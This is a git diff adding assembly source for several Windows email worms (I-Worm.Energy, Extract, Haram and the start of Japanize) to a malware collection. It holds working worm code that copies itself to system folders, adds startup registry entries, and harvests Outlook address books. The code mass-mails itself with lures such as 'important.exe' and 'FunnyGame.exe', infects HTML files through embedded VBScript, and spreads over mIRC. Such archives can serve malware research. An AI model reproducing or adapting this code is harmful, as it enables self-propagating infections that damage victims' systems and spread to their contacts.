gd]+ push eax+ push edi+ push ebx+ push dword ptr [ebp + hFile - gd]+ call [ebp + _wf - gd] ;write the worm++end_file2:+ push MEM_RELEASE+ push 0+ push ebx+ mov eax,12345678h+_vf = dword ptr $-4+ call eax ;release the memory+end_file:+ call close_file ;close the archive++ push FILE_ATTRIBUTE_READONLY+ push esi+ mov eax,12345678h+_sfaa = dword ptr $-4+ call eax ;set READ-ONLY attribute+ jmp end_seh ;and quit++close_file:+ push 12345678h ;handle...+hFile = dword ptr $-4+ mov eax,12345678h+_ch = dword ptr $-4+ call eax ;close file handle+ ret++CRC32 Proc+ push ecx ;procedure for+ push edx ;calculating CRC32s+ push ebx ;at run-time+ xor ecx,ecx+ dec ecx+ mov edx,ecx+NextByteCRC:+ xor eax,eax+ xor ebx,ebx+ lodsb+ xor al,cl+ mov cl,ch+ mov ch,dl+ mov dl,dh+ mov dh,8+NextBitCRC:+ shr bx,1+ rcr ax,1+ jnc NoCRC+ xor ax,08320h+ xor bx,0EDB8h+NoCRC: dec dh+ jnz NextBitCRC+ xor ecx,eax+ xor edx,ebx+ dec edi+ jne NextByteCRC+ not edx+ not ecx+ pop ebx+ mov eax,edx+ rol eax,16+ mov ax,cx+ pop edx+ pop ecx+SVCHandler:+ ret+CRC32 EndP+ThreadEntry EndP+++;log on to SCM+SVCRegister Proc+ call _dt+ dd offset e_name+5+ dd offset service_start+ dd 0+ dd 0+_dt: call StartServiceCtrlDispatcherA ;start service dispatcher+ dec eax+ jne e_svc ;quit if error (no service+ ;requestz)+ push 0+ call ExitThread ;terminate this thread++service_start: ;execution goes here...+ pushad+ @SEH_SetupFrame <jmp end_seh> ;setup SEH frame++ push offset SVCHandler+ push offset e_name+5+ call RegisterServiceCtrlHandlerA ;register service control+ test eax,eax ;handler+ je e_svc ;quit if error+ push eax++ call _ss+ss_: dd 10h or 20h+ dd 4+ dd 0+ dd 0+ dd 0+ dd 0+ dd 0+_ss: push eax+ call SetServiceStatus ;set service status+ call CloseServiceHandle ;close service handle+ jmp e_svc ;and quit+SVCRegister EndP+++;create item at SCM+SVCCreate Proc+ push 000F0000h or 2+ push 0+ push 0+ call OpenSCManagerA ;get handle to SCM+ test eax,eax+ je e_scm0+ xchg eax,esi++; push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h+; push offset e_name+5+; push esi+; call OpenServiceA ;*** debug!+;+; push eax+; push eax+; call DeleteService ;*** debug!+; call CloseServiceHandle ;*** debug!++ xor eax,eax+ push eax+ push eax+ push eax+ push eax+ push eax+ push offset sys_dir+ push eax+ push 2+ push 10h+ push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h+ push offset e_name+5+ push dword ptr [esp]+ push esi+ call CreateServiceA ;create service item+ test eax,eax ;at SCM+ je e_scm1 ;quit if error++ push eax+ call CloseServiceHandle ;close service handlez+e_scm1: push esi+ call CloseServiceHandle ;...+e_scm0: ret ;and quit+SVCCreate EndP+++signature db 0,'[I-Worm.Energy] by Benny/29A',0+ ;signature+ proc_dump db PROC_COUNT dup (?) ;buffer for PIDz+ worm_name db 256 dup (?) ;buffer for filename+ tmp dd ? ;temporary variable+ sys_dir db 256 dup (?) ;buffer for system dir.+ arc_buffer db 256 dup (?) ;buffer for archive+ ;filename+virtual_end: ;...end of virus.+ends+end Start ;.+++;bonus:+;here are lyrics from "Imagine", one very nice song from John Lennon.++; Imagine there's no heaven,+; It's easy if you try,+; No hell below us,+; Above us only sky,+; Imagine all the people+; living for today...+;+; Imagine there's no countries,+; It isn't hard to do,+; Nothing to kill or die for,+; No religion too,+; Imagine all the people+; living life in peace...+;+; You may say I'm a dreamer,+; but I'm not the only one,+; I hope some day you'll join us,+; And the world will live as one.+;+; Imagine no possesions,+; I wonder if you can,+; No need for greed or hunger,+; A brotherhood of man,+; Imagine all the people+; Sharing all the world...+;+; You may say I'm a dreamer,+; but I'm not the only one,+; I hope some day you'll join us,+; And the world will live as one.diff --git a/Worms/InternetWorm/I-Worm.Extract.asm b/Worms/InternetWorm/I-Worm.Extract.asmnew file mode 100644index 0000000..ba34687--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Extract.asm@@ -0,0 +1,480 @@+comment #+Name : I-Worm.Extract+Author : PetiK+Date : February 3rd 2002 - February 4th 2002+Size : 5632++Action :+#++.586p+.model flat+.code++JUMPS++api macro a+extrn a:proc+call a+endm++include Useful.inc+include myinclude.inc++start_worm:+ @pushsz "KERNEL32.DLL"+ api GetModuleHandleA+ xchg eax,ebx++kern macro x+ push offset sz&x+ push ebx+ api GetProcAddress+ mov _ptk&x,eax+ endm++ kern CloseHandle+ kern CopyFileA+ kern CreateDirectoryA+ kern CreateFileA+ kern CreateFileMappingA+ kern DeleteFileA+ kern GetDateFormatA+ kern GetFileSize+ kern GetModuleFileNameA+ kern GetSystemDirectoryA+ kern GetSystemTime+ kern GetTimeFormatA+ kern GetWindowsDirectoryA+ kern lstrcat+ kern lstrcmp+ kern lstrcpy+ kern lstrlen+ kern MapViewOfFile+ kern SetCurrentDirectoryA+ kern Sleep+ kern UnmapViewOfFile+ kern WinExec+ kern WriteFile+ kern WriteProfileStringA+ kern WritePrivateProfileStringA+++ push 50+ mov esi,offset orig_worm+ push esi+ push 0+ call _ptkGetModuleFileNameA++ push 50+ push offset verif_worm+ call _ptkGetSystemDirectoryA+ @pushsz "\UPDATEW32.EXE"+ push offset verif_worm+ call _ptklstrcat++ push esi+ push offset verif_worm+ call _ptklstrcmp+ test eax,eax+ jz continue_worm++ mov edi,offset copy_worm+ push edi+ push 50+ push edi+ call _ptkGetSystemDirectoryA+ add edi,eax+ mov eax,"dpU\"+ stosd+ mov eax,"Weta"+ stosd+ mov eax,"e.23"+ stosd+ mov eax,"ex"+ stosd+ pop edi++copy_w: push 0+ push edi+ push esi+ call _ptkCopyFileA++run_w: push edi+ @pushsz "RUN"+ @pushsz "WINDOWS"+ call _ptkWriteProfileStringA++ call CreateDate+ push 50+ push offset realname+ push offset orig_worm+ api GetFileTitleA++ @pushsz " - "+ push offset date+ call _ptklstrcat+ push offset realname+ push offset date+ call _ptklstrcat++f_mess: push 10h+ push offset date+ call @mess+ db "Cannot Open this File !",CRLF,CRLF+ db "If you downloaded this file, try downloading again.",0+ @mess:+ push 0+ api MessageBoxA+ jmp end_worm++continue_worm:+ push 50+ push offset vbsfile+ call _ptkGetWindowsDirectoryA+ @pushsz "\ExtractVbs.vbs"+ push offset vbsfile+ call _ptklstrcat++ push 0+ push 20h+ push 2+ push 0+ push 1+ push 40000000h+ push offset vbsfile+ call _ptkCreateFileA+ xchg eax,ebx+ push 0+ push offset octets+ push e_vbs - s_vbs+ push offset s_vbs+ push ebx+ call _ptkWriteFile+ push ebx+ call _ptkCloseHandle++ push offset vbsfile+ push offset vbsexec+ call _ptklstrcpy+ push 4+ push offset execcontrol+ call _ptkWinExec+ push 5000+ call _ptkSleep+ push offset vbsfile+ call _ptkDeleteFileA++payload:+ push offset Systime+ call _ptkGetSystemTime+ cmp [Systime.wDay],29+ jne end_pay+ push 40h+ @pushsz "I-Worm.Extract"+ call e_mess+ db "Hi man, you received my worm !",CRLF+ db "Don't panic, it doesn't format your computer",CRLF,CRLF+ db 9,"Bye and Have a Nice Day.",0+ e_mess:+ push 0+ api MessageBoxA+end_pay:++sh_gsf: push 0+ push 5+ push offset progra+ push 0+ api SHGetSpecialFolderPathA+ push offset progra+ call _ptkSetCurrentDirectoryA+ @pushsz "Update Windows 32bits"+ call _ptkCreateDirectoryA+ @pushsz "\Update Windows 32bits"+ push offset progra+ call _ptklstrcat+ push offset progra+ call _ptkSetCurrentDirectoryA+ push 0+ @pushsz "MAJ.exe"+ push offset orig_worm+ call _ptkCopyFileA++verif_inet:+ push 0+ push offset inet+ api InternetGetConnectedState+ dec eax+ jnz verif_inet++ push 50+ push offset winpath+ call _ptkGetWindowsDirectoryA+ push offset winpath+ call _ptkSetCurrentDirectoryA++spread: pushad+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ @pushsz "Outlook_Addr.txt"+ call _ptkCreateFileA+ inc eax+ je end_spread+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 2+ push eax+ push ebx+ call _ptkCreateFileMappingA+ test eax,eax+ je end_s1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 4+ push ebp+ call _ptkMapViewOfFile+ test eax,eax+ je end_s2+ xchg eax,esi++ push 0+ push ebx+ call _ptkGetFileSize+ cmp eax,4+ jbe end_s3++scan_mail:+ xor edx,edx+ mov edi,offset mail_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,";"+ je end_m+ cmp al,"#"+ je f_mail+ cmp al,'@'+ jne not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ end_m: xor al,al+ stosb+ pop edi+ test edx,edx+ je scan_mail+ call send_mail+ jmp scan_mail+ f_mail:++end_s3: push esi+ call _ptkUnmapViewOfFile+end_s2: push ebp+ call _ptkCloseHandle+end_s1: push ebx+ call _ptkCloseHandle+end_spread: popad++end_worm:+ push 0+ api ExitProcess++send_mail:+ call CreateDate+ call CreateTime+ @pushsz "C:\liste.ini"+ push offset mail_addr+ push offset time+ push offset date+ call _ptkWritePrivateProfileStringA++ xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [sess]+ api MAPISendMail+ ret++CreateDate Proc+ pushad+ mov edi,offset date+ push 32+ push edi+ @pushsz "dddd, dd MMMM yyyy"+ push 0+ push 0+ push 9+ call _ptkGetDateFormatA+ popad+ ret+CreateDate EndP+CreateTime Proc+ pushad+ mov edi,offset time+ push 32+ push edi+ @pushsz "HH:mm:ss"+ push 0+ push 0+ push 9+ call _ptkGetTimeFormatA+ popad+ ret+CreateTime EndP+++.data+copy_worm db 50 dup (0)+orig_worm db 50 dup (0)+verif_worm db 50 dup (0)+vbsfile db 50 dup (0)+winpath db 50 dup (0)+progra db 50 dup (0)+mail_addr db 128 dup (?)+realname db 50 dup (0)+date db 30 dup (?)+time db 9 dup (?)+octets dd ?+inet dd 0+sess dd 0++subject db "Re: Check This...",0+body db "Hi",CRLF+ db "This is the file you ask for. Open quickly ! It's very important",CRLF,CRLF+ db 9,"Best Regards",CRLF,CRLF,CRLF+ db "Salut,",CRLF+ db "Voici le fichier que tu cherches. Ouvre vite ! C'est tr�s important",CRLF,CRLF+ db 9,"Mes sinc�res salutations",0+filename db "important.exe",0++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd ?+ dd ?+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset mail_addr+ dd offset mail_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset orig_worm+ dd offset filename+ dd ?++szCloseHandle db "CloseHandle",0+szCopyFileA db "CopyFileA",0+szCreateDirectoryA db "CreateDirectoryA",0+szCreateFileA db "CreateFileA",0+szCreateFileMappingA db "CreateFileMappingA",0+szDeleteFileA db "DeleteFileA",0+szGetDateFormatA db "GetDateFormatA",0+szGetFileSize db "GetFileSize",0+szGetModuleFileNameA db "GetModuleFileNameA",0+szGetSystemDirectoryA db "GetSystemDirectoryA",0+szGetSystemTime db "GetSystemTime",0+szGetTimeFormatA db "GetTimeFormatA",0+szGetWindowsDirectoryA db "GetWindowsDirectoryA",0+szlstrcat db "lstrcat",0+szlstrcmp db "lstrcmp",0+szlstrcpy db "lstrcpy",0+szlstrlen db "lstrlen",0+szMapViewOfFile db "MapViewOfFile",0+szSetCurrentDirectoryA db "SetCurrentDirectoryA",0+szSleep db "Sleep",0+szUnmapViewOfFile db "UnmapViewOfFile",0+szWinExec db "WinExec",0+szWriteFile db "WriteFile",0+szWritePrivateProfileStringA db "WritePrivateProfileStringA",0+szWriteProfileStringA db "WriteProfileStringA",0++_ptkCloseHandle dd ?+_ptkCopyFileA dd ?+_ptkCreateDirectoryA dd ?+_ptkCreateFileA dd ?+_ptkCreateFileMappingA dd ?+_ptkDeleteFileA dd ?+_ptkGetDateFormatA dd ?+_ptkGetFileSize dd ?+_ptkGetModuleFileNameA dd ?+_ptkGetSystemDirectoryA dd ?+_ptkGetSystemTime dd ?+_ptkGetTimeFormatA dd ?+_ptkGetWindowsDirectoryA dd ?+_ptklstrcat dd ?+_ptklstrcmp dd ?+_ptklstrcpy dd ?+_ptklstrlen dd ?+_ptkMapViewOfFile dd ?+_ptkSetCurrentDirectoryA dd ?+_ptkSleep dd ?+_ptkUnmapViewOfFile dd ?+_ptkWinExec dd ?+_ptkWriteFile dd ?+_ptkWriteProfileStringA dd ?+_ptkWritePrivateProfileStringA dd ?++s_vbs: db 'On Error Resume Next',CRLF+ db 'Set f=CreateObject("Scripting.FileSystemObject")',CRLF+ db 'Set win=f.GetSpecialFolder(0)',CRLF+ db 'Set c=f.CreateTextFile(win&"\Outlook_Addr.txt")',CRLF+ db 'c.Close',CRLF+ db 'Set out=CreateObject("Outlook.Application")',CRLF+ db 'Set mapi=out.GetNameSpace("MAPI")',CRLF+ db 'adr="[email protected]"',CRLF+ db 'For Each mail in mapi.AddressLists',CRLF+ db 'If mail.AddressEntries.Count <> 0 Then',CRLF+ db 'For O=1 To mail.AddressEntries.Count',CRLF+ db 'adr=adr &";"& mail.AddressEntries(O).Address',CRLF+ db 'Next',CRLF+ db 'End If',CRLF+ db 'Next',CRLF+ db 'adr=adr &";#"',CRLF,CRLF+ db 'Set c=f.OpenTextFile(win&"\Outlook_Addr.txt",2)',CRLF+ db 'c.WriteLine adr',CRLF+ db 'c.Close',CRLF+e_vbs:++execcontrol db "wscript "+ vbsexec db 50 dup (0)+ db "",0++end start_worm+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Haram.asm b/Worms/InternetWorm/I-Worm.Haram.asmnew file mode 100644index 0000000..bdfcfee--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Haram.asm@@ -0,0 +1,592 @@+comment *+Name : I-Worm.Haram+Author : PetiK++Language : win32asm+Date : May 13th 2002 - June 1st 2002++Size : 5192 bytes (compressed with Petite Tool)++Comments : - Copy to %sysdir%\FunnyGame.exe+ - Search all doc files in "Personal" folder and create a new virus html file:++ example : document.doc -> document.htm+ 1) 2)++ 1) Good DOC file+ 2) Good HTM virus (1571 bytes)++ - Put the name of all active process and add .htm:++ example : process.exe -> process.exe.htm+ 3) 4)++ 3) Real name of active process+ 4) Real name of the HTM virus (in "C:\backup" folder for Win ME/2k/XP)++ - Create a random name file in StarUp folder to spread with Outlook++ - On the 10th, payload : open and close CD door and display a messagebox in loop++*++.586p+.model flat+.code++JUMPS++include win32api.inc++LF equ 10+CR equ 13+CRLF equ <13,10>++@pushsz macro msg2psh, empty+ local next_instr+ ifnb <empty>+ %out too much arguments in macro '@pushsz'+ .err+ endif+ call next_instr+ db msg2psh,0+ next_instr:+endm++@endsz macro+ local nxtchr+ nxtchr: lodsb+ test al,al+ jnz nxtchr+endm++api macro a+ extrn a:proc+ call a+endm++WIN32_FIND_DATA struct+dwFileAttributes dd 0+ftCreationTime dd ?,?+ftLastAccessTime dd ?,?+ftLastWriteTime dd ?,?+nFileSizeHigh dd 0+nFileSizeLow dd 0+dwReserved0 dd 0,0+cFileName db 260 dup(0)+cAlternateFileName db 14 dup(0)+ db 2 dup (0)+WIN32_FIND_DATA ends++PROCESSENTRY32 STRUCT+ dwSize DWORD ?+ cntUsage DWORD ?+ th32ProcessID DWORD ?+ th32DefaultHeapID DWORD ?+ th32ModuleID DWORD ?+ cntThreads DWORD ?+ th32ParentProcessID DWORD ?+ pcPriClassBase DWORD ?+ dwFlags DWORD ?+ szExeFile db 260 dup(?)+PROCESSENTRY32 ENDS++start: pushad+ @SEH_SetupFrame <jmp end_worm>++hide_the_worm:+ call hide_worm++get_name:+ push 50+ mov esi,offset orgwrm+ push esi+ push 0+ api GetModuleFileNameA++get_copy_name:+ mov edi,offset cpywrm+ push edi+ push 50+ push edi+ api GetSystemDirectoryA+ add edi,eax+ mov eax,'nuF\'+ stosd+ mov eax,'aGyn'+ stosd+ mov eax,'e.em'+ stosd+ mov eax,'ex'+ stosd+ pop edi++copy_worm:+ push 1+ push edi+ push esi+ api CopyFileA+ test eax,eax+ je ok_copy++ push 50+ push edi+ push 1+ @pushsz "Haram"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ api SHSetValueA++ push 50+ push offset msgwrm+ push esi+ api GetFileTitleA+ push 10h+ push offset msgwrm+ @pushsz "ERROR : this file is not a valid Win32 file."+ push 0+ api MessageBoxA+ok_copy:++call inf_doc_personal++get_startup_path:+ push 0+ push 7+ push offset startup+ push 0+ api SHGetSpecialFolderPathA+ push offset startup+ api SetCurrentDirectoryA++call cr_vbsname++ mov edi,offset vbsname++ push 0+ push 1+ push 2+ push 0+ push 1+ push 40000000h+ push edi+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ push e_vbs - s_vbs+ push offset s_vbs+ push ebp+ api WriteFile+ push ebp+ api CloseHandle+++payload:+ mov eax,offset sysTime+ push eax+ api GetSystemTime+ lea eax,sysTime+ cmp word ptr [eax+6],10+ jne end_payload++ xor eax,eax+ push eax+ push eax+ push eax+ @pushsz "set CDAudio door open"+ api mciSendStringA++ push 500+ api Sleep++ xor eax,eax+ push eax+ push eax+ push eax+ @pushsz "set CDAudio door closed"+ api mciSendStringA++ push 40h+ @pushsz "I-Worm.Haram"+ @pushsz "Coded by PetiK - �2002 - France"+ push 0+ api MessageBoxA++ api GetTickCount+ push 10000+ pop ecx+ xor edx,edx+ div ecx+ inc edx+ mov ecx,edx+ push ecx+ api Sleep+ jmp payload++end_payload:++call inf_process++end_worm:+ @SEH_RemoveFrame+ popad+ push 0+ api ExitProcess++hide_worm Proc+ pushad+ @pushsz "KERNEL32.DLL"+ api GetModuleHandleA+ xchg eax,ecx+ jecxz end_hide_worm+ @pushsz "RegisterServiceProcess" ; Registered as Service Process+ push ecx+ api GetProcAddress+ xchg eax,ecx+ jecxz end_hide_worm+ push 1+ push 0+ call ecx+ end_hide_worm:+ popad+ ret+hide_worm EndP++Spread_Mirc Proc+ push offset cpywrm+ push offset mirc_exe+ api lstrcpy+ call @mirc+ db "C:\mirc\script.ini",0+ db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.+ db "C:\progra~1\mirc\script.ini",0+ db "C:\progra~1\mirc32\script.ini",0+ @mirc:+ pop esi+ push 4+ pop ecx+ mirc_loop:+ push ecx+ push 0+ push 80h+ push 2+ push 0+ push 1+ push 40000000h+ push esi+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ @tmp_mirc:+ push e_mirc - s_mirc+ push offset s_mirc+ push ebp+ api WriteFile+ push ebp+ api CloseHandle+ @endsz+ pop ecx+ loop mirc_loop+ end_spread_mirc:+ ret+Spread_Mirc EndP++++inf_doc_personal Proc+ pushad+get_personal_folder:+ push 0+ push 5+ push offset personal+ push 0+ api SHGetSpecialFolderPathA+ push offset personal+ api SetCurrentDirectoryA+fff_doc:+ push offset ffile+ @pushsz "*.doc"+ api FindFirstFileA+ inc eax+ je end_f_doc+ dec eax+ mov [hfind],eax++cr_file:+ push offset ffile.cFileName+ push offset new_file+ api lstrcpy+ mov esi,offset new_file+ push esi+ api lstrlen+ add esi,eax+ sub esi,4 ; to become \SYSTEM\Wsock32+ mov [esi],"mth."+ lodsd++ push 0+ push 1+ push 2+ push 0+ push 1+ push 40000000h+ push offset new_file+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ push e_htm - s_htm+ push offset s_htm+ push ebp+ api WriteFile+ push ebp+ api CloseHandle++fnf_doc:+ push offset ffile+ push [hfind]+ api FindNextFileA+ test eax,eax+ jne cr_file+ push [hfind]+ api FindClose+end_f_doc:+ popad+ ret+inf_doc_personal EndP+++inf_process Proc+ popad+create_folder:+ push 0+ @pushsz "C:\backup"+ api CreateDirectoryA+ @pushsz "C:\backup"+ api SetCurrentDirectoryA+enum_process:+ push 0+ push 2+ api CreateToolhelp32Snapshot+ mov lSnapshot,eax+ inc eax+ je end_inf_process+ lea eax,uProcess+ mov [eax.dwSize], SIZE PROCESSENTRY32+ lea eax,uProcess+ push eax+ push lSnapshot+ api Process32First+check_process:+ test eax,eax+ jz end_process+ push ecx+ mov eax,ProcessID+ push offset uProcess+ cmp eax,[uProcess.th32ProcessID]+ je NextProcess+ lea ebx,[uProcess.szExeFile]++ push ebx+ push offset new_name+ api lstrcpy+ mov edi,offset new_name+ push edi+ api lstrlen+ add edi,eax+ mov eax,"mth."+ stosd+ xor eax,eax+ stosd+ push offset new_name+ @pushsz "System.htm"+ api lstrcmp+ test eax,eax+ jz NextProcess++ push 0+ push 1+ push 2+ push 0+ push 1+ push 40000000h+ push offset new_name+ api CreateFileA+ mov ebp,eax+ push 0+ push offset byte_write+ push e_htm - s_htm+ push offset s_htm+ push ebp+ api WriteFile+ push ebp+ api CloseHandle++NextProcess:+ push offset uProcess+ push lSnapshot+ api Process32Next+ jmp check_process+end_process:+ push lSnapshot+ api CloseHandle+end_inf_process:+ pushad+ ret+inf_process EndP+++cr_vbsname Proc+ mov edi,offset vbsname+; api GetTickCount+ push 10+ pop ecx+; xor edx,edx+; div ecx+; inc edx+; mov ecx,edx+ name_g:+ push ecx+ api GetTickCount+ push '9'-'0'+ pop ecx+ xor edx,edx+ div ecx+ xchg eax,edx+ add al,'0'+ stosb+ api GetTickCount+ push 100+ pop ecx+ xor edx,edx+ div ecx+ push edx+ api Sleep+ pop ecx+ loop name_g+ mov eax,"sbv."+ stosd+ ret+cr_vbsname EndP++++.data+ffile WIN32_FIND_DATA <?>+sysTime db 16 dup(0)++uProcess PROCESSENTRY32 <?>+ProcessID dd ?+lSnapshot dd ?+new_name db 100 dup (?)++orgwrm db 50 dup (0)+cpywrm db 50 dup (0)+msgwrm db 50 dup (0)+startup db 70 dup (0)+personal db 70 dup (0)+new_file db 90 dup (0)+vbsname db 20 dup (0)+byte_write dd ?+hfind dd ?++s_mirc: db "[script]",CRLF+ db ";Don't edit this file.",CRLF,CRLF+ db "n0=on 1:JOIN:{",CRLF+ db "n1= /if ( $nick == $me ) { halt }",CRLF+ db "n2= /.dcc send $nick "+mirc_exe db 50 dup (?)+ db CRLF,"n3=}",0+e_mirc:+++s_htm: db '<haram>',CRLF+ db '<html><head><title>Windows Media Player</title></head><body>',CRLF+ db '<script language=VBScript>',CRLF+ db 'On Error Resume Next',CRLF+ db 'MsgBox "Please accept the ActiveX",vbinformation,"Internet Explorer"',CRLF+ db 'Set upfkupfk=CreateObject("Scripting.FileSystemObject")',CRLF+ db 'Set kupfkvqg=CreateObject("WScript.Shell")',CRLF+ db 'If err.number=429 Then',CRLF+ db 'kupfkvqg.Run javascript:location.reload()',CRLF+ db 'Else',CRLF,CRLF+ db 'glvqglvb(upfkupfk.GetSpecialFolder(0))',CRLF+ db 'glvqglvb(upfkupfk.GetSpecialFolder(1))',CRLF+ db 'glvqglvb(kupfkvqg.SpecialFolders("MyDocuments"))',CRLF+ db 'glvqglvb(kupfkvqg.SpecialFolders("Desktop"))',CRLF+ db 'glvqglvb(kupfkvqg.SpecialFolders("Favorites"))',CRLF+ db 'glvqglvb(kupfkvqg.SpecialFolders("Fonts"))',CRLF+ db 'End If',CRLF,CRLF+ db 'Function glvqglvb(dir)',CRLF+ db 'If upfkupfk.FolderExists(dir) Then',CRLF+ db ' Set bbbbbbbb=upfkupfk.GetFolder(dir)',CRLF+ db ' Set bbblvqgl=bbbbbbbb.Files',CRLF+ db ' For each lvqgvqgl in bbblvqgl',CRLF+ db ' lvqglvqr=lcase(upfkupfk.GetExtensionName(lvqgvqgl.Name))',CRLF+ db ' If lvqglvqr="htm" or lvqglvqr="html" Then',CRLF+ db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF+ db ' if rhmwrrhm.ReadLine <> "<haram>" Then',CRLF+ db ' rhmwrrhm.Close()',CRLF+ db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF+ db ' htmorg=rhmwrrhm.ReadAll()',CRLF+ db ' rhmwrrhm.Close()',CRLF+ db ' Set mwrrhmwr=document.body.createTextRange',CRLF+ db ' Set rhmwrrhm=upfkupfk.CreateTextFile(lvqgvqgl.path, True, False)',CRLF+ db ' rhmwrrhm.WriteLine "<haram>"',CRLF+ db ' rhmwrrhm.Write(htmorg)',CRLF+ db ' rhmwrrhm.WriteLine mwrrhmwr.htmltext',CRLF+ db ' rhmwrrhm.Close()',CRLF+ db ' Else',CRLF+ db ' rhmwrrhm.Close()',CRLF+ db ' End If',CRLF+ db ' End If',CRLF+ db ' Next',CRLF+ db 'End If',CRLF+ db 'End Function',CRLF+ db '</script></body></html>',0+e_htm:++s_vbs: db 'On Error Resume Next',CRLF+ db 'Set terqne = CreateObject("Scripting.FileSystemObject")',CRLF+ db 'Set qumhzh = CreateObject("WScript.Shell")',CRLF+ db 'Set sys = terqne.GetSpecialFolder(1)',CRLF+ db 'copyname = sys&"\FunnyGame.exe"',CRLF+ db 'Set htgx = CreateObject("Outlook.Application")',CRLF+ db 'Set ofcc = htgx.GetNameSpace("MAPI")',CRLF+ db 'For each c In ofcc.AddressLists',CRLF+ db 'If c.AddressEntries.Count <> 0 Then',CRLF+ db 'For d = 1 To c.AddressEntries.Count',CRLF+ db 'Set etldb = htgx.CreateItem(0)',CRLF+ db 'etldb.To = c.AddressEntries(d).Address',CRLF+ db 'etldb.Subject = "New game from the net for you " & c.AddressEntries(d).Name',CRLF+ db 'etldb.Body = "Play at this funny game. It''s very cool !"',CRLF+ db 'etldb.Attachments.Add(copyname)',CRLF+ db 'etldb.DeleteAfterSubmit = True',CRLF+ db 'If etldb.To <> "" Then',CRLF+ db 'etldb.Send',CRLF+ db 'End If',CRLF+ db 'Next',CRLF+ db 'End If',CRLF+ db 'Next',0+e_vbs:++ends+end start++*************************************************************************++@tasm32 /M /ML haram.asm+@tlink32 -Tpe -aa -c -x haram.obj,,,import32,haram.def+rem pause+rem upx -9 haram.exe+@del *.obj+rem pause++*************************************************************************++IMPORTS++SHLWAPI.SHSetValueA+SHELL32.SHGetSpecialFolderPathA\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Japanize.asm b/Worms/InternetWorm/I-Worm.Japanize.asmnew file mode 100644index 0000000..f8799f2--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Japanize.asm@@ -0,0 +1,857 @@+;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+;;; I-Worm.Japanize+;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+;;;+;;;+;;; This has some bugs.+;;;+;;; Here TrendMicro description:+;;; ******************************************************************+;;; http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=WORM_FBOUND.B&VSect=T+;;; Details:+;;;The details of the email this worm arrives with may be as follows:+;;;+;;;To: <recipient>+;;;Subject: <"Important" or random Japanese text(applicable on Japanese supported platforms)>+;;;Message Body: <blank>+;;;Attachment: patch.exe+;;;+;;;It uses its own SMTP engine and uses the following registry key to retrieve the default SMTP server of the infected system:+;;;HKEY_CURRENT_USER\Software\Microsoft\+;;;Internet Account Manager\Accounts\00000001+;;;+;;;It uses the following registry key to retrieve email addresses from the infected user's Windows Address Book (WAB):+;;;HKEY_CURRENT_USER\Software\Microsoft\WAB\+;;;WAB4Wab File Name = �g<pathname of WAB file>�h+;;;+;;;The email arrives with the attachment PATCH.EXE. If the email address of its target ;;;user ends with the extension .jp, the worm randomly selects a phrase, from a list of 17 possible Japanese phrases below, and uses one as the subject of the email:+;;;+;;;+;;;The English translation for the above Japanese text are as follows:+;;;Re: the issue that you mentioned+;;;Re: important+;;;Re: long time no see+;;;Re: top secret+;;;Re: Hello+;;;Re: important information+;;;Re: data+;;;the issue that you mentioned+;;;important+;;;long time no see+;;;top secret+;;;hello+;;;important information+;;;data+;;;frog+;;;shit+;;;shit+;;;+;;;Otherwise, it uses the subject �gImportant."+;;;+;;;This non-destructive worm does not drop files or create any registry entries. Its propagation depends on the execution of the file attachment in the email.+;;;+;;;The following text strings are found in the worm body:+;;;+;;;�eXXXXXXXXXXXXXXXXXXXXXXX�f+;;;�eXXXXX I-Worm.Japanize XXXXX�f+;;;�eXXXXXXXXXXXXXXXXXXXXXXX�f+;;;+;;;++ .586p+ .model flat+ locals+ jumps+++;;; some lazy shit+callW macro @@@x+ extrn @@@x:proc+ call @@@x+endm++ofs equ offset++dwo equ dword ptr+wo equ word ptr+by equ byte ptr++HKEY_CURRENT_USER EQU 80000001h+CRLF equ <13,10>+rdtsc equ <dw 310fh>+AF_INET equ 2+SOCK_STREAM equ 1++FILE_ATTRIBUTE_NORMAL EQU 00000080h+GENERIC_READ EQU 80000000h+GENERIC_WRITE EQU 40000000h+PAGE_READONLY EQU 00000002h+PAGE_READWRITE EQU 00000004h+FILE_MAP_READ EQU 00000004h+OPEN_EXISTING EQU 00000003h+GHND EQU 042h+FILE_SHARE_READ EQU 00000001h+FILE_SHARE_WRITE EQU 00000002h+++;;; ----------------------------------------------------------------+ .data+hReg dd ?; registry handle+str_SMInternetAccountManager db 'Software\Microsoft\Internet Account Manager',0+str_SMIAccounts db 'Software\Microsoft\Internet Account Manager\Accounts\'+AccountIdx db 9 dup(?); account index+bufsiz_accountidx dd 9; size++str_DMA db 'Default Mail 